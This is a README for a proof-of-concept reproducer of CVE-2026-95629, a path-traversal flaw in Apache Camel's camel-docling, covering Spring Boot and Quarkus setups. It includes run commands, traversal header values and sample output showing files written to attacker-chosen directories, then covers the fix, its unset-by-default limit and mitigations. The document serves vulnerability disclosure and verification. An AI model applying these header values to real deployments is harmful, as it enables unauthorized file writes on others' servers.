
Runnable proof-of-concept reproducer for CVE-2026-95629, a path-traversal flaw in Apache Camel camel-docling where the output-path header reaches docling's --output verbatim.
--output verbatimRunnable proof-of-concept reproducer for the Apache Camel vulnerability where DoclingProducer, running
the external docling tool in CLI mode (the default), handed the value of the
CamelDoclingOutputFilePath header to docling's --output flag verbatim: not normalized, an absolute
path or a path containing .. segments accepted as given, and no endpoint option able to confine it.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Docling writes the conversion result — Markdown, HTML, JSON or text — into that directory, naming the file after the input file, and the producer afterwards removes only its own temporary directory, so the file is left in place. A party able to set the header could therefore have conversion output created in any directory the Camel process can write to.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output on an affected build (identical on both runtimes):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
Probe 4 is the shape of the problem. The custom-argument validation added by the fix for
CVE-2026-40047 refuses --output and -o in
CamelDoclingCustomArguments and tells callers to choose the output directory with this header instead —
so the one value that decides where docling writes was the one value reaching the command line with none of
the checks applied to custom arguments.
The exchange itself fails after probes 2 and 3 ("failed afterwards"), because the producer then looks for the converted output in its own temporary directory and does not find it there. That is cosmetic: the write has already happened, which is what the file listing at the end shows.
No docling installation needed. The endpoint's doclingCommand option points at a recording stand-in for
the CLI, which both records the argument vector it was handed and writes a file into whatever --output
named, the way docling does. The real DoclingProducer and the real addOutputDirectoryArguments() run.
Only CLI mode uses this header; the docling-serve mode does not.
CamelDoclingOutputFilePath belongs to the Camel header namespace, which consumers applying Camel's
default header filtering — the JMS and Kafka consumers, for instance — strip from incoming messages. The
issue is reached where a route forwards externally influenced values into the header, or where a consumer
maps incoming headers without that filtering.
The content of the written file is the conversion of the document carried by the message, so it is shaped by whoever supplies that document without being written byte for byte; when the document arrives in the message body, the producer stores it under a random temporary name, which the output file then carries.
| Property | Value |
|---|---|
| Component | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
| Severity | Medium |
| Attack vector | An absolute or ..-bearing directory in the CamelDoclingOutputFilePath header |
| Impact | Conversion output created in any directory the Camel process can write to |
| Affected Versions | From 4.15.0 before 4.18.5, from 4.19.0 before 4.22.2 |
| Fixed Versions | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24894 |
| Credit | Zhixi "Jace" Sun, independent security researcher |
Advisory: https://camel.apache.org/security/CVE-2026-95629.html
Sibling issue in the same component, same release wave: CVE-2026-95628 (absolute paths accepted as custom-argument values).
The header now gets the same normalization and optional base-directory containment as input paths, through
resolveWithinOutputBaseDirectory(). But the outputBaseDirectory endpoint option the fix adds is
unset by default, and its own documentation says that when empty, no directory restriction is applied
and the header value is only normalized.
Verified against 4.22.1 → 4.22.2, with outputBaseDirectory left unset:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
The driver reports that state separately rather than calling it fixed, because it is the state most
deployments will land in straight after an upgrade. After upgrading, set outputBaseDirectory on every
docling endpoint whose header can carry an externally influenced value.
Fixed on main in apache/camel#26737 (48485d40), backported
to camel-4.22.x in #27365 and to camel-4.18.x in
#27362.
Do not build CamelDoclingOutputFilePath from values that originate outside the deployment; strip that
header from messages arriving from outside before they reach a docling endpoint; and make sure consumers
that map incoming headers drop the Camel header namespace.